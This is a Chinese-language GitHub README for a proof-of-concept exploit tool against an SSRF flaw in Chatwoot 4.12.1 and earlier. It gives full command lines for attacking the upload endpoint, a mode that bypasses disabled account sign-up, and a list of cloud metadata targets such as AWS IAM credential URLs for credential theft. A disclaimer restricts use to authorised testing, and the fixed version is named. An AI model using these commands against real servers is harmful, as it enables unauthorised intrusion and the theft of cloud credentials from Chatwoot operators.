phlmox/chatwoot-ssrf
GitHub: phlmox/chatwoot-ssrf
针对 Chatwoot ≤ 4.12.1 上传接口 SSRF 漏洞的专用 PoC 利用工具,支持多种认证方式和云环境元数据窃取。
Stars: 0 | Forks: 0
# chatwoot_exploit.py
Chatwoot <= 4.12.1 SSRF 漏洞的 PoC 工具。
通过 `POST /api/v1/accounts/:id/upload` 接口中的 `external_url` 参数触发服务端请求伪造(SSRF)。服务器会获取指定的 URL 并将响应存储在 ActiveStorage 中,随后可被读取。
已在 Chatwoot v4.13.0 中修复(ssrf_filter gem)。
## 要求
- Python 3.8+
- 无需第三方依赖
## 使用方法
```
python chatwoot_exploit.py --target [auth options] --ssrf-url
```
### 认证模式
**模式 1:使用凭据登录**
```
python chatwoot_exploit.py \
--target http://chatwoot.example.com \
--email admin@example.com \
--password Secret123 \
--ssrf-url http://169.254.169.254/latest/meta-data/
```
**模式 2:使用已有的 API 令牌**
```
python chatwoot_exploit.py \
--target http://chatwoot.example.com \
--token YOUR_API_ACCESS_TOKEN \
--account-id 1 \
--ssrf-url http://169.254.169.254/latest/meta-data/
```
**模式 3:注册绕过(Chatwoot <= 4.11.2)**
即使在注册被禁用的情况下也能创建新账户(`POST /api/v1/accounts` 上缺少 `check_signup_enabled` 检查)。凭据会保存到 `woot_session.txt`,以便后续运行时复用同一账户。
```
python chatwoot_exploit.py \
--target http://chatwoot.example.com \
--signup-bypass \
--ssrf-url http://169.254.169.254/latest/meta-data/
```
使用自定义凭据:
```
python chatwoot_exploit.py \
--target http://chatwoot.example.com \
--signup-bypass \
--signup-email attacker@evil.com \
--signup-password Attacker123! \
--signup-name "Test" \
--ssrf-url http://169.254.169.254/latest/meta-data/
```
## 版本检查
打印 Chatwoot 版本和适用的漏洞标签,不尝试任何漏洞利用。
```
python chatwoot_exploit.py --target http://chatwoot.example.com --get-version
```
## 代理支持
```
python chatwoot_exploit.py \
--target http://chatwoot.example.com \
--email admin@example.com \
--password Secret123 \
--proxy http://127.0.0.1:8080 \
--no-ssl-verify \
--ssrf-url http://169.254.169.254/latest/meta-data/
```
## 所有选项
| 选项 | 描述 |
|---|---|
| `--target` | Chatwoot 基础 URL(例如 `https://app.chatwoot.com`) |
| `--get-version` | 打印版本和漏洞标签后退出 |
| `--email` | 登录邮箱 |
| `--password` | 登录密码 |
| `--token` | 已有的 API 访问令牌 |
| `--account-id` | 账户 ID(使用 `--token` 时必填) |
| `--signup-bypass` | 创建新账户(Chatwoot <= 4.11.2) |
| `--signup-email` | 新账户邮箱(未设置则随机生成) |
| `--signup-password` | 新账户密码(未设置则随机生成) |
| `--signup-name` | 账户名称(未设置则随机生成) |
| `--force` | 在注册绕过模式下跳过版本检查 |
| `--ssrf-url` | 供服务器获取的内部 URL |
| `--proxy` | HTTP 代理 URL |
| `--no-ssl-verify` | 禁用 SSL 证书验证 |
| `--clear-session` | 删除 `woot_session.txt` 并退出 |
| `--demo-targets` | 打印常见 SSRF 目标 URL 并退出 |
## 会话文件
使用 `--signup-bypass` 时,凭据和令牌会以目标 URL 为键保存到 `woot_session.txt` 中。下次运行时会复用同一账户而非创建新账户。重置方法:
```
python chatwoot_exploit.py --target http://chatwoot.example.com --clear-session
```
格式:
```
{
"http://chatwoot.example.com": {
"token": "...",
"account_id": 3,
"email": "abc123@pwned.local",
"password": "Rj4mKpL!@"
}
}
```
## 常见 SSRF 目标
```
python chatwoot_exploit.py --demo-targets
```
| 目标 | URL |
|---|---|
| AWS IMDSv1 凭据 | `http://169.254.169.254/latest/meta-data/iam/security-credentials/` |
| AWS IMDSv1 主机名 | `http://169.254.169.254/latest/meta-data/hostname` |
| GCP 元数据 | `http://metadata.google.internal/computeMetadata/v1/?recursive=true` |
| Azure IMDS | `http://169.254.169.254/metadata/instance?api-version=2021-02-01` |
| Kubernetes API | `https://kubernetes.default.svc/api` |
| Consul | `http://127.0.0.1:8500/v1/agent/self` |
## 免责声明
本工具仅供授权安全测试、渗透测试任务以及对您拥有或已获得明确书面授权的系统进行研究使用。
未经授权对本工具针对的系统使用属于违法行为,可能违反计算机犯罪相关法律,包括但不限于《计算机欺诈与滥用法》(CFAA)、《英国计算机滥用法》及其他司法管辖区的等效法律。
作者不对本工具的滥用或由此造成的任何损害承担责任。使用本工具即表示您确认拥有对目标系统进行测试的合法权利。
标签:169.254.169.254, ActiveStorage, API安全, Chatwoot, CISA项目, CVE, IP 地址批量处理, JSON输出, Maven, PoC, Python, Python脚本, SSRF, ssrf_filter, Web安全, 代理支持, 会话管理, 元数据窃取, 告警, 安全工具开发, 数字签名, 无后门, 无第三方依赖, 暴力破解, 服务器端请求伪造, 漏洞验证, 版本检测, 蓝队分析, 认证绕过, 账号注册绕过, 逆向工具